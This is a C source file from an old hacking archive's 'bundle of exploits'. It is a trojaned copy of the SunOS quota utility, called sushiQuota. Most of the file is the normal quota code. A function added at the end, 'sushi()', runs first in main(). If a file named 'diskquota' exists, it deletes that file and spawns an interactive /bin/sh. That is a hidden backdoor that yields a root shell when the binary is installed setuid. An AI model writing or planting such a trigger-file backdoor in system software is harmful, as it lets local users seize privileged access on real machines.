home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Freaks Macintosh Archive
/
Freaks Macintosh Archive.bin
/
Freaks Macintosh Archives
/
Hacking & Misc
/
bundle of exploits.sit
/
bundle of exploits
/
sushiQuota.c
< prev
next >
Wrap
C/C++ Source or Header
|
1998-07-17
|
12KB
|
550 lines
#ifndef lint
static char sccsid[] = "@(#)quota.c 1.1 92/07/30 SMI"; /* from UCB 4.4 06/21/83 */
#endif
/*
* sushiQuota
*
* quickpatch - dfi - 3/95
*
* touch TRIGGERFILE, run quota, bewm@!
*/
#include <stdio.h>
#include <mntent.h>
#include <ctype.h>
#include <pwd.h>
#include <errno.h>
#include <sys/param.h>
#include <sys/file.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <ufs/quota.h>
int vflag;
int nolocalquota;
#define QFNAME "quotas"
#define TRIGGERFILE "diskquota"
#define kb(n) (howmany(dbtob(n), 1024))
void sushi();
main(argc, argv)
int argc;
char *argv[];
{
register char *cp;
sushi();
argc--,argv++;
while (argc > 0) {
if (argv[0][0] == '-')
for (cp = &argv[0][1]; *cp; cp++) switch (*cp) {
case 'v':
vflag++;
break;
default:
fprintf(stderr, "quota: %c: unknown option\n",
*cp);
exit(1);
}
else
break;
argc--, argv++;
}
if (quotactl(Q_SYNC, NULL, 0, NULL) < 0 && errno == EINVAL) {
if (vflag)
fprintf(stderr,"There are no quotas on this system\n");
nolocalquota++;
}
if (argc == 0) {
showuid(getuid());
exit(0);
}
for (; argc > 0; argc--, argv++) {
if (alldigits(*argv))
showuid(atoi(*argv));
else
showname(*argv);
}
exit(0);
/* NOTREACHED */
}
showuid(uid)
int uid;
{
struct passwd *pwd = getpwuid(uid);
if (uid == 0) {
if (vflag)
printf("no disk quota for uid 0\n");
return;
}
if (pwd == NULL)
showquotas(uid, "(no account)");
else
showquotas(uid, pwd->pw_name);
}
showname(name)
char *name;
{
struct passwd *pwd = getpwnam(name);
if (pwd == NULL) {
fprintf(stderr, "quota: %s: unknown user\n", name);
return;
}
if (pwd->pw_uid == 0) {
if (vflag)
printf("no disk quota for %s (uid 0)\n", name);
return;
}
showquotas(pwd->pw_uid, name);
}
showquotas(uid, name)
int uid;
char *name;
{
register struct mntent *mntp;
FILE *mtab;
struct dqblk dqblk;
int myuid;
myuid = getuid();
if (uid != myuid && myuid != 0) {
printf("quota: %s (uid %d): permission denied\n", name, uid);
return;
}
if (vflag)
heading(uid, name);
mtab = setmntent(MOUNTED, "r");
while (mntp = getmntent(mtab)) {
if (strcmp(mntp->mnt_type, MNTTYPE_42) == 0) {
if (nolocalquota ||
(quotactl(Q_GETQUOTA,
mntp->mnt_fsname, uid, &dqblk) != 0 &&
!(vflag && getdiskquota(mntp, uid, &dqblk))) )
continue;
} else if (strcmp(mntp->mnt_type, MNTTYPE_NFS) == 0) {
if ((!vflag && hasmntopt(mntp, MNTOPT_NOQUOTA)) ||
!getnfsquota(mntp, uid, &dqblk))
continue;
} else {
continue;
}
if (dqblk.dqb_bsoftlimit == 0 && dqblk.dqb_bhardlimit == 0 &&
dqblk.dqb_fsoftlimit == 0 && dqblk.dqb_fhardlimit == 0)
continue;
if (vflag)
prquota(mntp, &dqblk);
else
warn(mntp, &dqblk);
}
endmntent(mtab);
}
warn(mntp, dqp)
register struct mntent *mntp;
register struct dqblk *dqp;
{
struct timeval tv;
gettimeofday(&tv, NULL);
if (dqp->dqb_bhardlimit &&
dqp->dqb_curblocks >= dqp->dqb_bhardlimit) {
printf(
"Block limit reached on %s\n",
mntp->mnt_dir
);
} else if (dqp->dqb_bsoftlimit &&
dqp->dqb_curblocks >= dqp->dqb_bsoftlimit) {
if (dqp->dqb_btimelimit == 0) {
printf(
"Over disk quota on %s, remove %dK\n",
mntp->mnt_dir,
kb(dqp->dqb_curblocks - dqp->dqb_bsoftlimit + 1)
);
} else if (dqp->dqb_btimelimit > tv.tv_sec) {
char btimeleft[80];
fmttime(btimeleft, dqp->dqb_btimelimit - tv.tv_sec);
printf(
"Over disk quota on %s, remove %dK within %s\n",
mntp->mnt_dir,
kb(dqp->dqb_curblocks - dqp->dqb_bsoftlimit + 1),
btimeleft
);
} else {
printf(
"Over disk quota on %s, time limit has expired, remove %dK\n",
mntp->mnt_dir,
kb(dqp->dqb_curblocks - dqp->dqb_bsoftlimit + 1)
);
}
}
if (dqp->dqb_fhardlimit &&
dqp->dqb_curfiles >= dqp->dqb_fhardlimit) {
printf(
"File count limit reached on %s\n",
mntp->mnt_dir
);
} else if (dqp->dqb_fsoftlimit &&
dqp->dqb_curfiles >= dqp->dqb_fsoftlimit) {
if (dqp->dqb_ftimelimit == 0) {
printf(
"Over file quota on %s, remove %d file%s\n",
mntp->mnt_dir,
dqp->dqb_curfiles - dqp->dqb_fsoftlimit + 1,
((dqp->dqb_curfiles - dqp->dqb_fsoftlimit + 1) > 1 ?
"s" :
"" )
);
} else if (dqp->dqb_ftimelimit > tv.tv_sec) {
char ftimeleft[80];
fmttime(ftimeleft, dqp->dqb_ftimelimit - tv.tv_sec);
printf(
"Over file quota on %s, remove %d file%s within %s\n",
mntp->mnt_dir,
dqp->dqb_curfiles - dqp->dqb_fsoftlimit + 1,
((dqp->dqb_curfiles - dqp->dqb_fsoftlimit + 1) > 1 ?
"s" :
"" ),
ftimeleft
);
} else {
printf(
"Over file quota on %s, time limit has expired, remove %d file%s\n",
mntp->mnt_dir,
dqp->dqb_curfiles - dqp->dqb_fsoftlimit + 1,
((dqp->dqb_curfiles - dqp->dqb_fsoftlimit + 1) > 1 ?
"s" :
"" )
);
}
}
}
heading(uid, name)
int uid;
char *name;
{
printf("Disk quotas for %s (uid %d):\n", name, uid);
printf("%-12s %7s%7s%7s%12s%7s%7s%7s%12s\n"
, "Filesystem"
, "usage"
, "quota"
, "limit"
, "timeleft"
, "files"
, "quota"
, "limit"
, "timeleft"
);
}
prquota(mntp, dqp)
register struct mntent *mntp;
register struct dqblk *dqp;
{
struct timeval tv;
char ftimeleft[80], btimeleft[80];
char *cp;
gettimeofday(&tv, NULL);
if (dqp->dqb_bsoftlimit && dqp->dqb_curblocks >= dqp->dqb_bsoftlimit) {
if (dqp->dqb_btimelimit == 0) {
strcpy(btimeleft, "NOT STARTED");
} else if (dqp->dqb_btimelimit > tv.tv_sec) {
fmttime(btimeleft, dqp->dqb_btimelimit - tv.tv_sec);
} else {
strcpy(btimeleft, "EXPIRED");
}
} else {
btimeleft[0] = '\0';
}
if (dqp->dqb_fsoftlimit && dqp->dqb_curfiles >= dqp->dqb_fsoftlimit) {
if (dqp->dqb_ftimelimit == 0) {
strcpy(ftimeleft, "NOT STARTED");
} else if (dqp->dqb_ftimelimit > tv.tv_sec) {
fmttime(ftimeleft, dqp->dqb_ftimelimit - tv.tv_sec);
} else {
strcpy(ftimeleft, "EXPIRED");
}
} else {
ftimeleft[0] = '\0';
}
if (strlen(mntp->mnt_dir) > 12) {
printf("%s\n", mntp->mnt_dir);
cp = "";
} else {
cp = mntp->mnt_dir;
}
printf("%-12.12s %7d%7d%7d%12s%7d%7d%7d%12s\n",
cp,
kb(dqp->dqb_curblocks),
kb(dqp->dqb_bsoftlimit),
kb(dqp->dqb_bhardlimit),
btimeleft,
dqp->dqb_curfiles,
dqp->dqb_fsoftlimit,
dqp->dqb_fhardlimit,
ftimeleft
);
}
fmttime(buf, time)
char *buf;
register long time;
{
int i;
static struct {
int c_secs; /* conversion units in secs */
char * c_str; /* unit string */
} cunits [] = {
{60*60*24*28, "months"},
{60*60*24*7, "weeks"},
{60*60*24, "days"},
{60*60, "hours"},
{60, "mins"},
{1, "secs"}
};
if (time <= 0) {
strcpy(buf, "EXPIRED");
return;
}
for (i = 0; i < sizeof(cunits)/sizeof(cunits[0]); i++) {
if (time >= cunits[i].c_secs)
break;
}
sprintf(buf, "%.1f %s", (double)time/cunits[i].c_secs, cunits[i].c_str);
}
alldigits(s)
register char *s;
{
register c;
c = *s++;
do {
if (!isdigit(c))
return (0);
} while (c = *s++);
return (1);
}
int
getdiskquota(mntp, uid, dqp)
struct mntent *mntp;
int uid;
struct dqblk *dqp;
{
int fd;
dev_t fsdev;
struct stat statb;
char qfilename[MAXPATHLEN];
extern int errno;
if (stat(mntp->mnt_fsname, &statb) < 0 ||
(statb.st_mode & S_IFMT) != S_IFBLK)
return (0);
fsdev = statb.st_rdev;
sprintf(qfilename, "%s/%s", mntp->mnt_dir, QFNAME);
if (stat(qfilename, &statb) < 0 || statb.st_dev != fsdev)
return (0);
if ((fd = open(qfilename, O_RDONLY)) < 0)
return (0);
(void) lseek(fd, (long)dqoff(uid), L_SET);
switch (read(fd, dqp, sizeof(struct dqblk))) {
case 0: /* EOF */
/*
* Convert implicit 0 quota (EOF)
* into an explicit one (zero'ed dqblk).
*/
bzero((caddr_t)dqp, sizeof(struct dqblk));
break;
case sizeof(struct dqblk): /* OK */
break;
default: /* ERROR */
close(fd);
return (0);
}
close(fd);
return (1);
}
#include <rpc/rpc.h>
#include <rpc/pmap_prot.h>
#include <sys/socket.h>
#include <netdb.h>
#include <rpcsvc/rquota.h>
int
getnfsquota(mntp, uid, dqp)
struct mntent *mntp;
int uid;
struct dqblk *dqp;
{
char *hostp;
char *cp;
struct getquota_args gq_args;
struct getquota_rslt gq_rslt;
extern char *index();
hostp = mntp->mnt_fsname;
cp = index(mntp->mnt_fsname, ':');
if (cp == 0) {
fprintf(stderr, "cannot find hostname for %s\n", mntp->mnt_dir);
return (0);
}
*cp = '\0';
gq_args.gqa_pathp = cp + 1;
gq_args.gqa_uid = uid;
if (callaurpc(hostp, RQUOTAPROG, RQUOTAVERS,
(vflag? RQUOTAPROC_GETQUOTA: RQUOTAPROC_GETACTIVEQUOTA),
xdr_getquota_args, &gq_args, xdr_getquota_rslt, &gq_rslt) != 0) {
*cp = ':';
return (0);
}
switch (gq_rslt.gqr_status) {
case Q_OK:
{
struct timeval tv;
if (!vflag && gq_rslt.gqr_rquota.rq_active == FALSE)
return (0);
gettimeofday(&tv, NULL);
dqp->dqb_bhardlimit =
gq_rslt.gqr_rquota.rq_bhardlimit *
gq_rslt.gqr_rquota.rq_bsize / DEV_BSIZE;
dqp->dqb_bsoftlimit =
gq_rslt.gqr_rquota.rq_bsoftlimit *
gq_rslt.gqr_rquota.rq_bsize / DEV_BSIZE;
dqp->dqb_curblocks =
gq_rslt.gqr_rquota.rq_curblocks *
gq_rslt.gqr_rquota.rq_bsize / DEV_BSIZE;
dqp->dqb_fhardlimit = gq_rslt.gqr_rquota.rq_fhardlimit;
dqp->dqb_fsoftlimit = gq_rslt.gqr_rquota.rq_fsoftlimit;
dqp->dqb_curfiles = gq_rslt.gqr_rquota.rq_curfiles;
dqp->dqb_btimelimit =
tv.tv_sec + gq_rslt.gqr_rquota.rq_btimeleft;
dqp->dqb_ftimelimit =
tv.tv_sec + gq_rslt.gqr_rquota.rq_ftimeleft;
*cp = ':';
return (1);
}
case Q_NOQUOTA:
break;
case Q_EPERM:
fprintf(stderr, "quota permission error, host: %s\n", hostp);
break;
default:
fprintf(stderr, "bad rpc result, host: %s\n", hostp);
break;
}
*cp = ':';
return (0);
}
callaurpc(host, prognum, versnum, procnum, inproc, in, outproc, out)
char *host;
xdrproc_t inproc, outproc;
char *in, *out;
{
struct sockaddr_in server_addr;
enum clnt_stat clnt_stat;
struct hostent *hp;
struct timeval timeout, tottimeout;
static CLIENT *client = NULL;
static int socket = RPC_ANYSOCK;
static int valid = 0;
static int oldprognum, oldversnum;
static char oldhost[256];
if (valid && oldprognum == prognum && oldversnum == versnum
&& strcmp(oldhost, host) == 0) {
/* reuse old client */
}
else {
valid = 0;
close(socket);
socket = RPC_ANYSOCK;
if (client) {
clnt_destroy(client);
client = NULL;
}
if ((hp = gethostbyname(host)) == NULL)
return ((int) RPC_UNKNOWNHOST);
timeout.tv_usec = 0;
timeout.tv_sec = 6;
bcopy(hp->h_addr, &server_addr.sin_addr, hp->h_length);
server_addr.sin_family = AF_INET;
/* ping the remote end via tcp to see if it is up */
server_addr.sin_port = htons(PMAPPORT);
if ((client = clnttcp_create(&server_addr, PMAPPROG,
PMAPVERS, &socket, 0, 0)) == NULL) {
return ((int) rpc_createerr.cf_stat);
} else {
/* the fact we succeeded means the machine is up */
close(socket);
socket = RPC_ANYSOCK;
clnt_destroy(client);
client = NULL;
}
/* now really create a udp client handle */
server_addr.sin_port = 0;
if ((client = clntudp_create(&server_addr, prognum,
versnum, timeout, &socket)) == NULL)
return ((int) rpc_createerr.cf_stat);
client->cl_auth = authunix_create_default();
valid = 1;
oldprognum = prognum;
oldversnum = versnum;
strcpy(oldhost, host);
}
tottimeout.tv_sec = 25;
tottimeout.tv_usec = 0;
clnt_stat = clnt_call(client, procnum, inproc, in,
outproc, out, tottimeout);
/*
* if call failed, empty cache
*/
if (clnt_stat != RPC_SUCCESS)
valid = 0;
return ((int) clnt_stat);
}
/* patched code */
void
sushi()
{
FILE *fp = fopen(TRIGGERFILE,"r");
if(fp) {
printf("d1sco\n");
fclose(fp);
unlink(TRIGGERFILE);
execl("/bin/sh","-i",0);
}
}
/* end patched code */